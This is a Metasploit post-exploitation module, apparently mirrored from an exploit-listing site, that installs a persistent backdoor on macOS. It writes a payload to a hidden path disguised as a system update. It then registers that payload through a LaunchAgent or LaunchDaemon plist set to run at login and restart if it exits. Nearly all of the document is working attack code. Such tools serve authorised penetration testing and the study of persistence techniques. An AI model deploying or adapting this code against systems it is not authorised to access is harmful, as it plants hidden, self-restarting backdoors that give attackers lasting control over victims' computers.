## https://sploitus.com/exploit?id=MSF:EXPLOIT-OSX-PERSISTENCE-LAUNCH_PLIST-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'shellwords'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/osx/local/persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mac OS X Persistent Payload Installer',
'Description' => %q{
This module provides a persistent boot payload by creating a launch item, which can be
a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
In either case the plist entry specifies an executable that will be run before or at login.
Verified on OSX 11.7.10 (Big Sur)
},
'License' => MSF_LICENSE,
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2012-04-01',
'Platform' => [ 'osx', 'python', 'unix' ],
'References' => [
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4
}
)
)
register_options([
OptString.new('BACKDOOR_PATH',
[
true, 'Path to hide the backdoor on the target.',
'~/Library/.<random>/com.system.update'
]),
OptBool.new('KEEPALIVE',
[true, 'Continually restart the payload exe if it crashes/exits.', true]),
OptBool.new('RUN_NOW',
[false, 'Run the installed payload immediately.', false]),
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
])
deregister_options('WritableDir')
end
def check
folder = File.dirname(backdoor_path).shellescape
folder = File.dirname(folder)
return CheckCode::Safe("#{folder} not found") unless exists?(folder)
return CheckCode::Safe("#{folder} not writable") unless writable?(folder)
CheckCode::Appears("#{folder} is writable")
end
def install_persistence
check_for_duplicate_entry
if target['Arch'] == ARCH_PYTHON
payload_bin = "#!/usr/bin/env python\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env bash\n" + payload.raw
else
payload_bin = generate_payload_exe
end
# Store backdoor on target machine
write_backdoor(payload_bin)
# Add plist file to LaunchAgents dir
add_launchctl_item
@clean_up_rc << "rm #{plist_path}\n"
@clean_up_rc << "execute -f /bin/launchctl -a \"stop #{File.basename(backdoor_path)}\"\n"
@clean_up_rc << "execute -f /bin/launchctl -a \"remove #{File.basename(backdoor_path)}\"\n"\
end
private
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
def add_launchctl_item
label = File.basename(backdoor_path)
mkdir(File.dirname(plist_path).shellescape, cleanup: false) unless directory?(File.dirname(plist_path))
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
item = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{label}</string>
<key>Program</key>
<string>#{backdoor_path}</string>
<key>ProgramArguments</key>
<array>
<string>#{backdoor_path}</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>OnDemand</key>
<#{keepalive?}/>
<key>KeepAlive</key>
<#{keepalive?}/>
</dict>
</plist>
EOF
if write_file(plist_path, item)
print_good("LaunchAgent added: #{plist_path}")
@clean_up_rc << "rm #{plist_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
end
if run_now?
cmd_exec("launchctl load -w #{plist_path.shellescape}")
else
print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")
end
print_good('LaunchAgent installed successfully.')
end
# path to upload the backdoor. any <user> or <random> substrings will be replaced.
# @return [String] path to drop the backdoor payload.
def backdoor_path
@backdoor_path ||= datastore['BACKDOOR_PATH']
.gsub('<random>') { Rex::Text.rand_text_alpha(8) }
.gsub(%r{^~/}, "/Users/#{user}/")
end
# raises an error if a Launch Agent already exists at desired same plist_path
def check_for_duplicate_entry
if file?(plist_path)
fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
end
end
# @return [Boolean] user wants the persistence to be restarted constantly if it exits
def keepalive?
datastore['KEEPALIVE']
end
# path to the LaunchAgent service configuration plist
# @return [String] path to the LaunchAgent service
def plist_path
@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
end
# @return [Boolean] user wants to launch the LaunchAgent immediately
def run_now?
datastore['RUN_NOW']
end
# @return [String] username of the session
def user
@user ||= cmd_exec('whoami').strip
end
# drops the file to disk, then makes it executable
# @param [String] exe the executable to drop
def write_backdoor(exe)
print_status('Dropping backdoor executable...')
mkdir(File.dirname(backdoor_path).shellescape, cleanup: false) unless directory?(File.dirname(backdoor_path))
if write_file(backdoor_path, exe)
print_good("Backdoor stored to #{backdoor_path}")
cmd_exec("chmod +x #{backdoor_path.shellescape}")
@clean_up_rc << "rm #{backdoor_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
end
end
end